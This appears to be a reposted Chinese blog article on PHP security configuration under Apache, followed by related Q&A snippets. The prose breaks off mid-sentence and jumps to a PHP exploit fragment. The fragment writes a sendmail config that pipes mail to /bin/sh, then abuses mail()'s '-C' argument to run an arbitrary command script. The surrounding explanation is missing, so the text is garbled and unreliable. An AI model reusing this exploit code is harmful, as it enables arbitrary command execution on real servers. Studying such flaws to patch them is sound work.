欢迎您访问我爱IT技术网,今天小编为你分享的编程技术是:【PHP安全配置(1)】,下面是详细的分享!
PHP安全配置(1)
一、Web服务器安全PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mailfunction]
;ForWin32;
$cf="/tmp/cf123";
$fd=fopen($cf,"w");
fwrite($fd,"OQ/tmp
Sparse=0
R$*".chr(9)."$#local$@$1$:$1
Mlocal,P=/bin/sh,A=sh$script");
fclose($fd);
$fd=fopen($script,"w");
fwrite($fd,"rm-f$script$cf;");
fwrite($fd,$cmd);
fclose($fd);
mail("nobody","","","","-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
以上所分享的是关于PHP安全配置(1),下面是编辑为你推荐的有价值的用户互动:
相关问题:在php.ini中如何配置安全的PHP环境参数
答:(1) 打开php的安全模式 php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(), 同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd, 但是默认的php.ini是没有打开安全模式... >>详细
相关问题:PHP学习系列问题之一:怎样配置PHP环境?
答:首先说一下我用的软件版本。PHP 5.1.6APACHE 2.0.59(注意:APACHE 2.2.X版本以上要增加插件才支持PHP 5的)MYSQL 5.0.24a 好了,现在开始安装,我先装的php5,直接解压文件到C:\php(安装到哪里并不会有影响,凭个人喜号,本文中的所有路径都以我... >>详细
相关问题:win2008下如何快速安装PHP,并做好安全设置
答:在Windows Server 2008下配置PHP环境特别的快,只需要鼠标点点就可以了。 1,下载PHP5.2系列版本,目前5.2系列比5.3系列兼容性更好。其中又分为Non Thread Safe和Thread Safe版本,如果要用FastCGI模式运行PHP,就选择Non Thread Safe版本,如果... >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
